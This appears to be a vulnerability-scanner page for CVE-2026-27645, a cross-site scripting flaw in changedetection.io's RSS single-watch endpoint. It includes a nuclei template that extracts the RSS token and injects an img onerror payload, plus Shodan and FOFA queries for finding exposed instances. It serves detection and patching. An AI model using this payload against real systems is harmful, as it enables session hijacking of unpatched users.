Changedetection.io RSS Single Watch - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.5%likelihood of exploitation, next 30 days

43%of all CVEs are less likely

Readycheck to confirm it

changedetection.io < 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL.

Impact

Attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks

Fix

Update to version 0.54.1 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains_all(body, "rss?token=", "Change Detection")
Send: GET {{BaseURL}}/rss/watch/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token={{rss_token}}
Positive when: status_code == 404 and contains(content_type, "text/html") and contains_all(body, "<img src=x onerror=alert(document.domain)>", "Watch with UUID")

Run it with nuclei: nuclei -id CVE-2026-27645 -u <target>

The full check

id: CVE-2026-27645

info:
  name: Changedetection.io RSS Single Watch - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    changedetection.io < 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL.
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks
  remediation: |
    Update to version 0.54.1 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w
    - https://github.com/dgtlmoon/changedetection.io/commit/a385c89abf44b52fcfa20c7c6a6dd3047c4c1eb5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27645
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-27645
    cwe-id: CWE-79
    epss-score: 0.00495
    epss-percentile: 0.42843
  metadata:
    max-request: 2
    verified: true
    fofa-query: title="Change Detection"
    shodan-query: http.title:"Change Detection"
  tags: cve,cve2026,xss,changedetection,rss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "rss?token=", "Change Detection")'
        internal: true

    extractors:
      - type: regex
        name: rss_token
        part: body
        group: 1
        regex:
          - 'rss\?token=([a-f0-9]{16,64})'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/rss/watch/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token={{rss_token}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)>", "Watch with UUID")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from